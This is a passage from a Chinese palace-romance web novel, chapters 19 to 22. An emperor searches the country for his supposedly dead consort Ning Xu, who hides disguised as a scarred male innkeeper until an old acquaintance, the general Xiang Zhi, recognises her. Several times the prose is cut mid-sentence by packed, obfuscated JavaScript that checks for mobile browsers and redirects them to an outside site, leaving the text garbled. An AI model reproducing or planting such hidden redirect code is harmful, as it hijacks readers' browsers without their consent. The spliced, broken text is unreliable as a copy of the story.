RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326047|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白布，顺着她脸滴到地上。 “你们就让她住在这种地方？她病得重了，还由着她吹风？你们才是存心想害死她！” 他心跳得很快，眼睛和太阳穴又烫又胀，有什么东西要在他体内爆开了。晚云声音清凌凌的，兜头给他泼一瓢冷水。 “这窗子实在关不上，拿纸或者帕子糊着，也会被吹开。我们也不是没有向尚寝局报告过，但每次都说木材不够了，要再等等。” 且不论那时担得起一句国富民强，就算真的走了下坡路，国库日渐空虚，修窗户的木头总能管够的。再苦不至于苦到这份上。 然而不够自有不够的道理。怠慢从来都是自上而下，陛下想不起过问一句，尚寝局自然是能晾则晾，要是太好说话了，不定被哪个有心的反过来污蔑，说他们巴结一个弃妃，违逆了陛下的意思。 石虔绝望地发现，他无法自欺了，千怪万怪，哪怕把宫女、嬷嬷、侍卫、尚寝局一锅端了下大狱，也无济于事。 他手一动，隔着被子摸到了几根硌人的东西，硬邦邦的，愣了一下才意识到，那是宁絮的手指。 这间雪洞一样的屋子他呆不下去了，他步履匆匆，奔向小轿，临走前吩咐他们给宁絮穿得好些，按照贵妃的规格下葬。 他去见了邓筠和孩子，为刚出生的儿子命了名，谈及未来要如何培养他。如此，方才将彻骨的寒意驱散了，那晚他一定要睡在母子俩身边，还被邓筠打趣他黏人。 后来的几年他不常想起宁絮，只是有时候会梦到十几岁时他们在余杭的日子。梦醒了还有一堆事情要做，一堆人要见，容不得他细细品味。 年纪再上去些，连宁絮的样子都模糊了。太子脑子不灵光，后面的几个皇子也算不上争气，很多话不便与邓筠说，更不能与臣子说，他兀自焦头烂额，宫女问他想吃什么点心，他随口报了蜜枣糕。 宁絮的脸就在这时闯进脑海，再也赶不走了。仍然是十几岁的面貌，跟他一起分吃一块枣糕，说还是甜的好吃，平时吃的菜叶子一点味道都没有。 要是她还在…… 石虔从没有这么想和一个人说话，他有一肚子的话要跟她说。 宁絮一贯耐心倾听，从十来岁到二十多岁都是如此，但他说不出完整的句子，只能咿咿呀呀。 偶尔他看不到宁絮，看到的是邓筠焦急的脸，听到御医在边上说，陛下是谵妄了。 他不懂什么是谵妄，但他知道只有宁絮听得懂他说的话，只有在宁絮面前，他才能什么都说。 阳寿将尽之时，他以为自己能再回余杭看一眼，牵着宁絮再逛一次集市。可惜事与愿违，他回到的地方是冷宫。 他看到宁絮眼睫毛上挂着水滴，裹在并不保暖的被子里，吊着最后一口气，两瓣发紫的嘴唇微微翕动。 他断线已久的句子，在这一刻连贯了起来，终于知道自己在对她说什么。 “我对不住你——我对不住你——” 19. 画像寻人 邓筠耳朵几乎贴在他嘴唇边，才听清他说的什么。 “对不住……您对不住谁了？”她愕然，而后联想起前因后果，心里隐隐有了答案。 皓儿被吵醒了，嘴一咧，开始嚎哭。小孩子哭起来才不管是什么场合，手脚都跟着乱踢踏。 石虔眼睛逐渐聚了光，朝下一瞥，正瞥见皓儿哭得大张着的嘴，红彤彤的，像个血眼子。 他往边上闪避，邓筠以为孩子吵着他了，赶紧丢给奶娘，叫她帮着哄。宫女递过来一件外袍，她接了，尝试着披在石虔肩头，这回他没有躲。 “陛下，天还早，外边又凉，您随臣妾回去吧。好好地睡一觉，您太久没放松下来，就忍不住要多想。” 她使个眼色，边上的宫女会意，立刻赶往长乐宫，点上安神香，再喊御药房送一副补心丹来。不论有用没用，都要安排上。 石虔由她搀着上了小轿，这次没有为难任何人。 等他脑袋沾了枕头，邓筠拉严了帘子，确保半点光都透不进去了，才顾得上用早膳。她无甚胃口，喝了半碗莲子羹，就叫人撤了碗筷。 她有一位贴身的嬷嬷，最擅察言观色。见她郁闷消沉，好言劝道：“娘娘莫急，有心结是人之常情，陛下是见过大风大浪的，总能走得出来。” “可这能叫作心结吗？都成了心魔了！”邓筠气得泪花乱窜，“我就不明白，宁絮明明是自己不小心落水的，畅春园那一趟的日程还是她排的，她自己坑死自己，陛下究竟自责个什么劲！” “他这样时而清醒时而糊涂的，真叫人不知道怎么办，万一再恶化下去……皓儿还小呢。” 嬷嬷拿手绢作势要捂她嘴：“娘娘，这不吉利的话不兴说啊。依老奴之见，若想让陛下快些走出来，或可想想别的法子。” 邓筠又烦又气，还有点醋味儿，正是最没耐心的时候，闻言就差拍桌子：“有什么点子你尽管说，少卖关子，难道还怕本宫揍你不成？” 嬷嬷扭捏了一下：“娘娘，老奴提出来了，您别生气……老奴想，陛下不就是舍不下那个姓宁的吗，这简单，全国搜罗一些和她相貌相似的女人进宫，让陛下天天看着。什么山珍海味，吃久了也该腻了——” 她听罢果然气恼，柳眉倒竖，尖尖的指甲就要戳上嬷嬷的脸，末了手又垂了下去。 宁絮到底有什么值得石虔念念不忘？这种女人要出身没出身，要家世没家世，除了年少时那点微薄的情分，也就是那张脸了。 抛开成见，邓筠对她的脸是心服口服的。快二十五的人了，比起及笄少女全然不输，可以预见的是，就算再长十几二十岁，她花期衰败了，也比绝大多数鼎盛之年的女人拿得出手。 这张脸不大好找，但是普天之下这么多女人，从中找十来个类似的替代品，并非不可能。 只要石虔肯点头，画像散出去，挂上悬赏布告，每城每村都贴上，百姓自有这份激情帮他们留意。 失而复得，虽然得到的是赝品，多少也告慰了自己。流连忘返一阵子，就能往前走了。 她琢磨片刻，觉得此计可行。心里有疙瘩，不痛快，还是去找石虔提了。 听了嬷嬷的话，她没有说得太直白。只道谁也没见到宁絮的遗体，有没有可能在某种机缘巧合之下，她并没有死，而是潜藏在某个不为人知的角落。 不出所料，石虔一下子变得神采奕奕，眼睛亮得好似回光返照，看得她心头发慌。 宁絮这个下流货色，跟孑孓一样阴魂不散，死了还让人心痒痒，不枉她混成花魁。 她一边默默唾骂宁絮，一边找来画师，形容了宁絮的形貌体态，要他尽快作画，交给陛下过目。 石虔非要在旁观看，画纸上刚有了个轮廓，他就把画师撵走了，说他们画得与宁絮本人天壤之别，谁能认得出来。 宫廷画师轮了一遍，都不满意，最后他亲自上阵。每日早朝敷衍了事，下了朝就关在御书房里潜心作画。 他被先皇认作皇子之后，除了修习课业，琴棋书画也略有接触。其他三样都学得马马虎虎，唯独在绘画上颇有灵气，即使后来登基，没有太多闲暇，也时不时画上两笔。 宁絮的一颦一笑，没有人能比他抓得更准。最难捱的几年他们一起熬过来了，他连她的呼吸和脚步都辨得出。 他细细地描摹她脸上的每一处细节，为了让从未见过她的人对她有所概念，他甚至把她曾经留过的所有发型都画了下来，外加若干正面和侧面的特写。 有时候画完了，他端详片刻，无端觉得可笑。 他有幸重活一辈子，本来心里做好了打算，要好生补偿她，绝不能再留下遗憾。可他还没来得及做什么，连孩子都没能给她一个，她就不在了。 现如今他甚至要用这种大海捞针的方式去找她。他很清楚，希望渺茫，画了这么多，最后多半还是竹篮打水。 做皇帝做到这份上，心爱的女人都留不住，也够失败的。 画画时他精力集中，整个人的状态反而好。快马加鞭地画完，底下人一点没耽误，一级一级地派了任务下去，很快宁絮的画像便贴满大街小巷。 鹤城离京城远，画像也贴得不那么全，归园客栈附近只零星贴了几张长发的。赏金万两，倒是很令人心动，隔三差五有人带自家闺女去官府，要求比对画像，人人都觉得自己闺女和姊妹跟画像上的美人有三分相似。 梅诗诗最先看到画像，菜也不买了，马上回去告知宁絮，叫她这些天先躲躲风头。 经营客栈，少不了迎来送往，面对的人太多了。虽然宁絮一直以男子形象示人，脸蛋毕竟摆在这，不排除有个别对容貌特别敏锐的，能把她和画像联想到一块儿去。 暑去秋来，宁絮的头发又长长了些，帽子包得有点吃力了。她将帽子往下按了按，扣得紧实点，问道：“果真很像吗？究竟有多像？” 梅诗诗一时词穷，绕着她转了一圈：“就是很像。你摘了帽子，头发散下来，眼尖的估计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326048|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会把你扭送官府了。” 宁絮笑了：“真要有人这么干，我只接受那个人是你，一万赏金呢！下半生荣华富贵不愁。” 梅诗诗丢了菜篮子去追打她：“再开这种玩笑，嘴给你撕烂！你给我滚去阁楼上躲好了，现在就上去！” 郑老四自从瘫了，身体每况愈下，每日怏怏不乐，两个月前便一命呜呼。诗诗差人来做了丧事，秋霞和宁絮把阁楼的被褥丢了，换上新的，连带墙壁和地板也重整了。 除了地方小了点，龟缩阁楼倒也不那么难以忍受。宁絮拿了两本书上楼打发时间，正好不用做事，乐得清闲。 等晚上熄灯关门了，街上行人也不剩几个了，她推开阁楼的窗子探出身去，在屋檐边挪了几步，找准角度，轻巧地跃下。 在这条街的尽头她见到了梅诗诗说的画像。画像上的她盘了发，但没有全部盘完，留了薄薄一层垂在身后，脸颊两侧也有两缕头发垂下，身穿纱衣，露着脖子与锁骨。 她一眼望过去差点气笑了。 这画像打眼一看就是出自石虔之手，她身在明月楼的时候才作此打扮，宫里其他人对她的经历略有耳闻，但绝不至于详细到能画出她当年的发型和装束。 白天围观的人群未必了解她是怎样一个人，但看完这幅画像，对她的印象想必不会太好。光是这身衣裳，就能看出轻薄之意，十个人有九个会猜测，这画像上的不是什么良家女子。 她实在是佩服石虔。百忙之中抽空画了这么多，再不远万里贴到各种犄角旮旯，就是为了羞辱她？ 要说石虔是专门为了捉拿她，她是不信的。她行事作风一贯缜密，逃跑之前把可能出现的情况都预想了一遍，相应的防范措施也都做好了。 她嘴严，没有对任何人走漏过风声，包括晚云和翠柳也是完全蒙在鼓里。点点又不会说话，身上也没留下任何可疑的外来物。 画像下方还有两行小字，天太黑了，灯笼高悬，光太微弱，她凑近了，眯起眼睛才看清。 陛下深切挂怀此女，思念成疾，现寻觅容貌相似者，如若通过检阅，赏黄金一万两。 宁絮读完，暂且放下心。看这意思，石虔应该是默认她人没了，又觉得宫中少了她这个类型的，有点不够用，于是开始征集美人了。 毕竟她走前一直没让石虔碰她。男人嘛，对这码事最上心，有时候就差吃上这一口，吃到了就不惦记了，什么病都好了。 石虔这样广撒网，依她看来，一是京城范围太小，没那么好的运气让他恰好找到相似的，二来也是不好意思祸祸了世家贵女，面子上挂不住。找美貌平民女入宫，随便怎么玩，死了都没人管。 那些上赶着送自家姑娘去认脸的，或许是不知其中利害，也或许是不在乎，毕竟实打实的一万两黄金捏在手里，两三代人都能过得滋润。 不管这场闹剧持续到几时，起码她目前是安全的。趁着巡夜的官差还没来，她踩着石像爬上柱子，又翻回阁楼里。 20. 搜查 各地官府短短两月，面见了近千位姑娘，每个地方都筛出五到十人送去京城。 但是这些姑娘都入不了石虔的法眼。有的人眉形相似，有的人鼻子相似，一看整体，就总是不太对劲。 万两赏金不是那么好拿的。各地官差愁得挠头。 最初带姑娘过来的，不分出身，什么家庭都有。后来慢慢变成乡绅和各路小官小吏，以及与其沾亲带故之人。人人皆想要赏金，倘若姑娘被选中了，钱到了手，便与负责此事的官差分了。 奈何陛下眼光刁钻，在他们眼里差之毫厘，在陛下眼里就是失之千里，送来的人不合眼缘，便绝无将就之可能。 他们只好从头来过。这回不能当儿戏了，牟利归牟利，真的找不到合适的，恐怕陛下会迁怒甚至降罪。 并非每户人家都急着送闺女姊妹出去，也有舍不得姑娘的家庭。而且还有一些偏远乡下的村子，消息不灵通，对此事不甚了解。 为免疏漏，思量再三，官府决定派出人手，挨家挨户地搜。每一家的女子都要让他们看一眼，从年逾不惑的妇人，到十岁左右的黄口小儿，概莫能外。 个别心怀不轨的官差，相中了谁家的漂亮姑娘，开始借机行事。 姑娘长相明明与画像相去甚远，还是打着陛下要人的名义，把人带走了，私藏在自己家。什么流程也没走，连个妾都算不上，一段时间后玩腻了，就让正妻找个由头打死掩埋了事。 这些行径自然不可能广而告之，但百姓心里或多或少有所猜测，风言风语私下传开了，家家户户都不准闺女打扮，越素越好。 官差有两次搜到归园客栈，连梅诗诗也差点被盯上。 她生孩子之后身材走样，前些年又一直过度操劳，整个人胖成柱形。现在生活滋润，又有好友在侧，人逐渐地纤细起来，皮肤也开始有了光泽。 虽然容色比不得十几岁，但旁人见了，都要真心实意赞一句美人。 她巧舌如簧，劝走了官差，惊出一身冷汗，当晚就开始胡吃海塞，争取再胖回去。隔天连面脂也不用了，巴不得脸色蜡黄，再长几条褶子。 宁絮作为这家名义上的男人，不好一直不露面。这阵风头看来是没那么快过去，她只好将以往的手艺捡起来，朝自己脸上描画了几道长而扭曲的疤。 她眉毛本就与眼睛挨得近，再把眉形画得粗犷些，配上这几道疤，很有点凶神恶煞的味道，一般人根本无法把她和女子联系在一起。 对外则宣称，前些天外出采买，遭了歹人，好险才保住一条命。 归园客栈的名声和口碑起来了，她顶着一张刀疤脸，倒也不赶客，多笑一笑，拉家常的时候说起这段故事，还能引得不少客人的惋惜。 秋霞在旁配合，攀着她肩膀：“夫妻相啦，咱俩夫妻相。” 每晚客栈闭门，一楼熄灯，客人都各自回房，有惊无险的一天才算结束。 宁絮就着阁楼的小油灯擦脸，将刀疤拭去。这些东西在脸上糊得久了，闷着皮肤，她老觉得痒，白天要费很大力气克制着自己不要去挠。 秋霞把盛满黑水的盆子端走，又上来给她送了敷脸的草药。宁絮道了谢，边涂脸边发出吃痛的嘶嘶声，秋霞蜷着身子蹲在旁边，劝道：“明日你要不别下楼了，不然还得画这些刀疤，多遭罪。” “这个月我还是得每天亮相，诗诗倒是该尽量少跟他们照面。等她胖一些了，再装扮得灰头土脸，我再撤回来。” 她口吻带着厌倦：“那姓石的真该死。” 秋霞默然，过了一会儿摇头叹道：“小石头不是这样的。” “小石头？”宁絮嗤笑道，“小石头早死了，现在这个说不清是个什么东西。” 时间到了，她把草药放到一边，又洗了一遍脸。水珠挂在睫毛上，颤悠悠的，须臾又滴落到衣服上，消失不见了。 “秋霞，我有时候想不明白了，当年说服他上京认亲，究竟是对是错。” 秋霞在她身后，拿着木梳给她打理发尾。她头发又剪了，毛毛糙糙的。 “这时候计较对错，没有意义了。但我很庆幸你带他北上。” 秋霞把她发丝理顺了，满意地笑笑：“若不是你扶持他坐上那个位子，他也没能力收留我们那一帮人，我们呆在明月楼，恐怕挺不过饥荒。” 她们在明月楼的生活，有很多微妙的凶险之处，陆续有人死于非命。要么是不慎怀孕流产大出血，要么卷进达官贵人的是是非非，最后连个全尸都找不见。 耳濡目染之下，她们很早就明白，活着才是第一要务。 也因此，秋霞对石虔不太能怨恨得起来，危难之际，他是真的对她们施以援手。尽管后来她们为他出生入死，几度遇险，早就还清了这笔债，她心里依旧很承石虔这份恩情。 不过她也能理解宁絮的想法。光是活下来，远远不够，人还需要有个奔头。如果呆在石虔身边，活得又不痛快，又没奔头，那确实不如另寻出路。 宁絮是很有心气的人，她与她相处几年，对此看得分明。早些时候她还不服气，都沦落成脏污烂泥了，还成天傲个什么劲儿，能喘气能混日子就烧高香吧。 往后又过了很多年，她才领略到这份心气的可贵之处。宁絮什么好东西都敢想，虽然大部分都要不来，可努努力碰碰运气，也能捞到一些碎渣。 倘若想都不敢想，日子只能越过越坏。 “你不要后悔，没有什么可后悔的，你的每一步都走得无可指摘了。剩下的事情你干涉不了，就不要往心里去。” 她催着宁絮去睡觉，挑了灯芯，阁楼隐入黑夜。 宁絮辗转反侧，心中隐隐不安。 秋霞所言极是，但她没法不多想。她们客栈经营得蒸蒸日上，能自食其力，不受屈辱，不用每天胆战心惊地看人脸色，完全是昔日梦寐以求的生活。 但这种生活的根基太不牢靠了，跑得再远，架不住石虔突发奇想，他一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326049|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念头，就能搅扰得举国上下不得安宁。 好日子被倾覆，也许就在一夕之间。 这种悬吊吊的感觉，就像摸黑下楼梯，不知道哪次会一脚踩空。 她焦躁之余，内心不免愤懑。 太子早就降生了，按说应该有得他忙的。实在不行，他大可以去找其他嫔妃，多要几个公主皇子，反正后妃人人都巴不得给他生孩子。 到底是为什么非得抓着她不放，满天下找一张相似的脸。他日子贫瘠到这种程度了吗？ 有病就找御医治，治不好就早点死，这样祸害人，简直不给子孙后代积德。 冥冥之中，石虔或许是感知到她的唾骂，逆反情绪一下子上来了。过了半月，悬赏布告上的数字从一万两提高到了一万五千两。 画像前人头攒动，几乎把画中美人的脸盯穿。 宁絮刚从官府回来，她与几位小吏相处不错，每月走动，维系交情，此乃归园立足之本。走上这条街，就被汹涌的人群往画像跟前挤，避无可避。 看到一万五千两赏金，她情不自禁抬起手想摸一摸自己的脸。 这张脸果真这么值钱吗？ 旁边成衣铺子的罗掌柜也在看热闹，被挤得踉踉跄跄，转头看到她，吓得骂娘，紧跟着又道歉：“对不住啊兄弟，你这两道疤我还没看习惯。” 宁絮抬起的手又放下，是她自作多情了，带疤的脸贴钱也没人要，她多余操这心。 “嗐，破相了，没办法，我家里人有时候都看不惯。” 她现在模仿男子音调，已是信手拈来。就算声音没那么粗，也不会引人怀疑，她身形纤细瘦弱，说话温和些，在外人眼中实属正常。 “一万五千两啊！这找的是什么天仙？祖宗十八代都没出过这种姑娘，我倒要看看谁家姑娘能被选上。” 罗掌柜拉着她滔滔不绝，她躲不开，只好微笑聆听。 周围男人多半眼冒绿光，犹如饿狼，这时候往他们手里塞把刀，他们能把家中女眷拉过来，比照着画像削骨。她被这氛围冲得心慌，后背冷汗涔涔，怕呆久了脸上也出汗，把刀疤润开了，就推着罗掌柜一起往外挤。 照此势头，大概不久之后又要有一轮新的搜查，她喊他小心自家那口子。闺女倒是不担心，才七岁。 罗掌柜眼角笑出褶子：“我家那个，怕也只有我看得上了。你才要当心，我看你那小妾风韵犹存——” 不知情的外人一概默认梅诗诗是她小妾，她一开始还辩解说自己是诗诗娘家的哥哥，后面被误会的次数多了，懒得费口舌，就担了左拥右抱的虚名。 他话说一半刹住，宁絮还纳闷，肩上就搭了一只手，回头一看，是秋霞。 再一偏眼神，罗掌柜已经溜走了。在毁容的正妻面前夸美貌小妾，还被正妻撞上，他害臊。 宁絮顺势搂过秋霞，问道：“怎么还特意出来寻我？” 秋霞皱眉道：“店里来了个有点奇怪的人。” 21. 不速之客 宁絮此时如同惊弓之鸟，听了秋霞的话，立刻警觉：“几个人？长什么样？” “不是朝廷的人，放心。”秋霞凑在她耳边轻声道，“就一个人，可能眼睛有点问题，蒙了眼纱，但也不像完全看不见的。” “他问我有没有空房，我说有，喊他报上姓名，拿路牌出来看一眼。他又改口，说吃一顿饭就走，要了一碗素面。我看他不太对劲，喊诗诗留意他，想着快些寻到你，你回去了，有些事就好办。” 有些人本来还算老实，进了店，看到只有女人在，便无端滋生歹意。但凡这时有个男人回来主事了，哪怕不是壮汉，也能避免很多波折。 诗诗和秋霞身手已经不复当年，训练出来的那一身本事，因闲置太久，严重地退步。这男人来路不明，真和他犯冲突，她俩没把握赢得了他。 而且她们这情况，理应低调行事，不便闹到官府面前，真的在歹人手上吃了亏，也得一声不吭闷回肚里。 宁絮加快脚步，随秋霞赶回客栈。那人身着灰衣，坐在最靠角落的桌子边上，头垂得低低的，乍看很不起眼，如果不是一进来就环视四周，恐怕没那么快发现他。 诗诗走过去向他道歉，说客官久等了，后厨的灶台有点小问题，刚刚才修好，现在马上给您煮面。他倒也不生气，只略一点头。 宁絮拿了一根长木棍到他边上，弯腰赔不是：“这位客人，真对不住，耽误您赶路了。这碗面不收您的钱，我们再送您一碟熟牛肉，您看如何？” 说着，又佯装恼怒，责备诗诗：“你说你，一点都不机灵，眼看着人家不方便，也不给人拿个拐。” 而后又凑近这灰衣男人：“您看可还满意？不然我们再多送一碟花生米？” 她颇有恒心，一定要等到他回答，大有他不应她就不走了的架势。 他想用摇头蒙混过去，宁絮不依，追问道：“您还想要什么，能给的我们都给。心里有气的话也别憋着，说出来我们好改。” 眼下没到饭点，一楼只坐了零零星星几位客人，还都离这边远。他没得躲，从牙缝里挤出几个字：“不必了。” 虽然他声音小，宁絮还是一瞬间捕捉到了异样。 他发音的尾音，有点像南疆一带的某种方言。 秋霞和诗诗未必察觉得出来，但她曾与一位南疆来的使臣打过交道，鞍前马后伺候了几天，从他那套得了关于粮食储备的消息。 这位使臣的中原话说得极好，但尾音还保留着南疆的痕迹，算是舌头最后的倔强。 有类似发音方式的人，应当不多。她狐疑又警惕地瞥了一眼男人的眼纱，不动声色地将长木棍收走。 素面很快煮好端上来，熟牛肉和花生米也照送不误。宁絮和秋霞站在门边，看他好像没吃过饱饭一样，头几乎埋进碗里，须臾便将碗碟一扫而空。 宁絮挣扎片刻，还是决定对他视而不见了，不去探究他来自何处，去往何方。 她又不做老本行了，现在就是个开客栈的，当年培养出来的习惯也该克制一下。人家不找事，她还是学会睁只眼闭只眼比较好。 灰衣男人没跟她们客气，宁絮说了这顿饭是赔礼，他就真的没打算付钱。喝完最后一口汤，他站起来，低着头往门口走。 宁絮侧身，为他让开一条路，见他身上没带任何包袱，便拿他当作住这附近的人来对待：“慢走，觉得好吃的话，您常来！” 诗诗目送他融入人潮，舒了一口气，胳膊肘怼一怼宁絮：“方才你那一通问，有打探出什么来没？” 宁絮摇头：“萍水相逢的过客，跟他刨根究底做什么，人家就是真有什么，横竖没对我们下手，当没看见吧。” 诗诗和秋霞会意，虽然不完全放下心，可也不较劲了。做客栈就是这样，每天迎来送往多少人，只要不在客栈内出事，管他菩萨心肠还是恶贯满盈。 那边有人要结账，她们立刻迎过去，收钱擦桌子一气呵成，将那灰衣人抛诸脑后。 过了晌午，外面日头正盛，也没几个人上门。宁絮正想要不要闭店一个时辰，打个小盹，外面走来几个身穿戎服的高大男子。 她这儿并非军铺，没有招待军队下榻的资格，看他们的打扮，跟鹤城的守城官兵还不大一样，外袍是绛红的，想来规模更高。 出于礼貌，她还是起身迎接，喊新雇来不久的店小二给他们倒水：“客官里边请，今天煮了绿豆水，可要来上一碗？” 为首的千夫长抬手制止：“不必费心，我们上门是想让你认个人。” 后面跟着几个小兵，手里拖着一个披头散发的人。那人身上穿着灰衣，染了血，还破了好几处地方。 他让人揪着头发，被迫抬起头，血迹斑驳的脸上，一对蓝绿色眼瞳尤为瞩目。 这绝不是中原人的长相。 顶着这双眼睛走在路上，围观他的人恐怕不比围观画像的人少。不蒙眼纱，还真是寸步难行。 “这人你可有见过？前些日子从战俘营跑了，我们追了好久才擒住他。” 她点点头：“上午才见过，他在我店里吃了饭。” 小兵听罢，戏谑地拍拍他脸：“不错啊，这回没说谎。” 千夫长严肃道：“我们不知道他有没有藏什么东西，或者要去联络什么人，他供述出来的每个地方，都需要搜查。掌柜的，要给你添麻烦了。” 诗诗和秋霞听到动静，都下来了，环绕在宁絮身边。一听要搜整个客栈，诗诗有些抵触：“可还有客人睡下，在休息呢——” 宁絮捏了捏她的手心，示意她且先收声。这些人她们得罪不起，人家肯在搜查前问一声，算是很给面子了，果真碍着人家的路，客栈被夷为平地都是轻的，弄不好就是下大狱。 她领着官兵，从大堂到后厨到客房，统统检阅一番，事无巨细，然而一无所获。 这是自然，那异族人原本就只是饿极了吃个饭，这些地方根本去都没去过。 查完了，他们又拖着他匆匆离去。客人怨声载道，一腔怒气不能对官军发，只能找个由头对着宁絮痛骂一顿，顺便占占房费的便宜。 宁絮陪着笑，今天受到搅扰的房客房费全免了，才换得安宁。入夜，她和诗诗坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326050|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在柜台边上，打开账本算了算，连着三天白干。 “得了，破财消灾。”梅诗诗嘴噘得能挂油瓶，她合上账本宽慰她，“送走那几位爷比什么都强。” 这个点了，一楼已经没有吃饭的客人。离打烊还差半个时辰，诗诗准备把门半掩，混过这段时间。 右边半扇门还没摁到底，就被一只蒲扇大的手掌顶住，她自下而上望去，看到一个铁塔般的身影。 来人有些面熟，但她一时想不起是谁。愣怔的间隙，对方先开口了，声音很和善：“别害怕，我是专程来道谢的，也可以当我是来赔礼。你们掌柜的在吗？” 梅诗诗看他身后还跟着几个人，都披了绛红披风，和白天来客栈搜查的官兵很像，心里叫苦不迭，但行动上不敢怠慢，重新开放大门，将人迎进来。 站在灯下，能看清彼此脸容了，男人眼光在宁絮的刀疤上逡巡片刻，又对梅诗诗笑道：“小梅，咱们多年不见了，没想到你到鹤城来了。这位是你什么人？怎么称呼？” 梅诗诗眼珠子快要飞出眼眶，短短几秒脑子里过了不知道多少张人脸，末了有点犹豫地问他：“您是项志……项诸卫？” 当年她们来京城跟了七皇子石虔，平时训练，便是由项志统筹。石虔人微言轻之时，他亦没有任何头衔，训练时大家以朋友相称，她们像从前那样叫他大名。 后来天平向石虔倾斜，他掌控局势后，半点不亏待项志，立刻封他为亲卫队长，她们也就此改口，毕恭毕敬起来。 再往后的事，她就不清楚了。石虔即位后，她被许给了郑家，远离京城，朝廷编制再怎么改动，也与她无关。她记忆中与项志有关的名号，只有一个诸卫。 他身后的一位军士，听了她的话，不满地纠正道：“是项将军！” 项志叱道：“你吼什么？我脑门上写着将军两个字吗？人家不知道，再正常不过。今晚带你们来，是给人道谢和道歉的，你们倒好，还摆上谱了？” 他拿出几锭金子塞到梅诗诗手里，诚恳道：“白天他们忙着捉拿战俘，拿了人就赶着回去，也没管你们客栈会不会受影响。我已经教训过他们了。” 诗诗捧着金子，有点不知所措，看看项志又看看宁絮。 宁絮方才一直木着脸，手放在柜台底下。这会儿似乎回过神了，拉着诗诗对项志千恩万谢，对他的体贴感到受宠若惊。 “鄙人是诗诗娘家的远亲，也姓梅，名秀文。见您是诗诗旧识，想着不打扰你们叙旧，因此没吱声。” 项志笑着对他伸出手：“幸会幸会，我还当你和小梅是夫妻呢。小梅与亲人失散多年了，你们怎么认上的？” 宁絮早编好了这个故事，之前就对登记黄册的小吏说了一通，现在再不露破绽地说给项志听。他听罢感慨万千，又东拉西扯了半天，早过了打烊的时间。 梅诗诗不自觉地往门口瞟，又不敢下逐客令，只盼望项志好自为之。 偏偏项志是个不识趣的，盯着宁絮，目光灼灼：“我与秀文兄弟一见如故，很是聊得来，今天也晚了，不知秀文兄弟可愿收留我一夜？” 22. 识破身份 宁絮待要找借口推脱，项志笑眯眯地堵住她去路：“放心，官府不会找麻烦，我一定打点好，秀文兄弟不必顾虑。” 诗诗说二楼没有空房间了，他只道无所谓，他愿与秀文兄弟秉烛夜谈，行军打仗都糙得很，困了睡一楼的地上都行，他不讲究。 她们再无拒绝之余地，诗诗去后厨现煮了一壶茶，而后又去了秋霞的卧房。秋霞傍晚有些低烧，逃过一劫，她去提醒她，直到人走之前都不要出来，能躲一个是一个。 项志出现在这里，还如此彬彬有礼和蔼可亲，实在是她意料之外。虽然是老熟人，可毕竟地位悬殊，又阔别已久，彼此之间早就不是那么了解了。 他动动手指头，可以碾死她们所有人。她来不及思索其中利害关系，本能地觉得不妙，想团吧团吧找个洞穴缩起来。 但宁絮还在底下，独自一人面对项志。她模仿男子能模仿出八分像了，可聊了这么久，不知会不会有破绽。 她得在旁帮衬她一点儿。 到了走廊上，越过扶手看向一楼，她发现其他官兵都不在了，一楼大堂只剩下宁絮和项志。宁絮听到脚踩地板发出的吱呀声，冲她挥手。 “很晚了，回去睡吧，明天咱们不能全犯困，总要有一个有精神的。” 诗诗退回屋里，她转向项志：“项将军，方才我们说到哪儿了——哦对，您率军过孟津。夜深了，我的脑子糊涂，见谅。” 项志莞尔：“是。被诗诗这一打断，我差点也忘了，可能是因为要分出一部分精力去记你的新名字。” 宁絮右眼皮子忽地抽搐起来：“您说什么？” “秀文虽然好听，寓意也好，但我还是习惯叫你宁絮了。” 她差点把茶盏碰翻，抬头撞进他笑意盈盈的眼睛里。 项志脸上并无半分威胁和戏弄之意，他把茶盏挪回桌子中间，用诗诗留下的抹布擦去水渍，又轻轻唤她：“宁絮，还是宁絮好。不过你若是喜欢秀文这个名字，那我努力改口。” 宁絮嗫嚅了一下，终于败下阵来，用自己原本的声音问道：“怎么发现的？” “你自己恐怕都不记得了。当年训练间隙，我带了一套侍卫的衣服来，原是男子服饰，但是纹样很好看，你们一个二个都想试穿。” 